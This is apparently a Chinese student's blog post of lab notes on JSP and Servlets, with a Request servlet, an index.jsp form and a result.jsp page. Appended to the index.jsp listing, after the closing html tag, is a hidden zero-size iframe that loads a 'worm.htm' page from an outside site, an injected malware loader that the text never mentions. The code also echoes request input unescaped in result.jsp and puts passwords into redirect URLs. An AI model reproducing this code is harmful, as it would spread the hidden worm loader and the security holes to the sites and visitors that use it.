JSP与Servlet (学校实验第二天)

    技术2022-05-11  48

      jsp语法以前就比较熟悉,就不说了。这次主要讲servlet。 在eclipse中新建servlet,它会自动产生编译后的class放在web-inf,和更新对应的web.xml,并且每次保存源码时更新那个class。

    访问时,输入http://localhost:8080/test返回地址为:http://localhost:8080/test/result.jsp?str=fdf:fdf

    中间servlet进行了处理,直接访问servlet地址为:http://localhost:8080/test/servlet/Request

    特别注明:网站目录不要放在tomcat的ROOT里面,应该和它并列放。本例就放test文件夹

    //Requset.java

    import java.io.IOException;import java.io.PrintWriter;

    import javax.servlet.*;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;

    public class Request extends HttpServlet {

     /**  * Constructor of the object.  */ public Request() {  super(); }

     /**  * Destruction of the servlet. <br>  */ public void destroy() {  super.destroy(); // Just puts "destroy" string in log  // Put your code here }

     /**  * The doGet method of the servlet. <br>  *  * This method is called when a form has its tag value method equals to get.  *   * @param request the request send by the client to the server  * @param response the response send by the server to the client  * @throws ServletException if an error occurred  * @throws IOException if an error occurred  */ public void doGet(HttpServletRequest request, HttpServletResponse response)   throws ServletException, IOException {  response.setContentType("text/htm;charset=GB2312");  String username=request.getParameter("username");  String password=request.getParameter("password");  response.sendRedirect("../result.jsp?str="+username+":"+password);   }

     /**  * The doPost method of the servlet. <br>  *  * This method is called when a form has its tag value method equals to post.  *   * @param request the request send by the client to the server  * @param response the response send by the server to the client  * @throws ServletException if an error occurred  * @throws IOException if an error occurred  */ public void doPost(HttpServletRequest request, HttpServletResponse response)   throws ServletException, IOException {  doGet(request,response); }

     /**  * Initialization of the servlet. <br>  *  * @throws ServletException if an error occure  */ public void init() throws ServletException {  // Put your code here }

    }

    //index.jsp

    <%@ page language="java" contentType="text/html; charset=gb2312"    pageEncoding="gb2312"%><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>Insert title here</title></head><body>Hello!<a href="servlet/Request?username=abc&password=123">link</a><form action="servlet/Request" method=POST>姓名:<input type=text size=20 name=username><br>密码:<input type=password size=20 name=password><br><input type=submit value='post to Request Servlet'></body></html><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>

    //result.jsp

    <%@ page language="java" contentType="text/html; charset=ISO-8859-1"    pageEncoding="ISO-8859-1"%><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Insert title here</title></head><body>result.jsp:<%out.println(request.getParameter("str")); %></body></html>


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